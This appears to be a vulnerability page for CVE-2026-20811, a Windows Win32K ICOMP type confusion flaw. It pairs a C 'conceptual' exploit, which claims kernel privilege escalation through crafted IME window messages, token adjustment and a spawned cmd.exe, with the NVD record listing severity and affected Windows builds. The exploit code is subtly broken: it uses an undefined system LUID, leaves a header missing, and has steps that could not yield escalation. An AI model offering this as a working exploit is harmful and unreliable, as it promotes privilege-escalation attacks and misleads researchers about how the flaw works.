CVE-2026-20811

// CVE-2026-20811 Type Confusion PoC (Conceptual) // Target: Windows Win32K ICOMP Component // Note: This is a conceptual demonstration for security research #include <windows.h> #include <winuser.h> // Define malicious object structure for type confusion typedef struct _MALICIOUS_OBJECT { DWORD_PTR vtable; // Fake vtable pointer DWORD objectType; // Manipulated type field PVOID kernelPtr; // Kernel pointer to corrupt } MALICIOUS_OBJECT, *PMALICIOUS_OBJECT; // Trigger type confusion via window message manipulation BOOL TriggerTypeConfusion(HWND hwndTarget) { MALICIOUS_OBJECT fakeObj = {0}; // Step 1: Create fake object with manipulated type fakeObj.objectType = 0x1337; // Intended to confuse with legitimate type fakeObj.vtable = (DWORD_PTR)0xFFFF0000; // Controlled vtable // Step 2: Send specially crafted message to trigger ICOMP processing // This causes ICOMP to misinterpret object type SendMessage(hwndTarget, WM_IME_SELECT, (WPARAM)TRUE, (LPARAM)&fakeObj); // Step 3: Exploit type confusion for privilege escalation // Trigger kernel callback through confused pointer PostMessage(hwndTarget, WM_IME_COMPOSITION, 0, 0); return TRUE; } // Main exploitation routine int main() { HANDLE hToken = NULL; TOKEN_PRIVILEGES tp = {0}; printf("[*] CVE-2026-20811 Win32K ICOMP Type Confusion Exploit\n"); printf("[*] Target: Windows Win32K.sys ICOMP Component\n"); // Find vulnerable window HWND hwnd = FindWindow("Shell_TrayWnd", NULL); if (hwnd) { TriggerTypeConfusion(hwnd); } // If exploitation successful, token manipulation for privilege escalation if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { tp.PrivilegeCount = 1; tp.Privileges[0].Luid = gSystemLuid; // System LUID tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, 0); printf("[+] Privilege escalation completed\n"); } system("cmd.exe"); return 0; }

{"cve": {"id": "CVE-2026-20811", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:07.727", "lastModified": "2026-01-14T20:13:13.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Access of resource using incompatible type ('type confusion') in Windows Win32K - ICOMP allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Acceso a recurso usando tipo incompatible ('confusión de tipos') en Windows Win32K - ICOMP permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-822"}, {"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20811", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}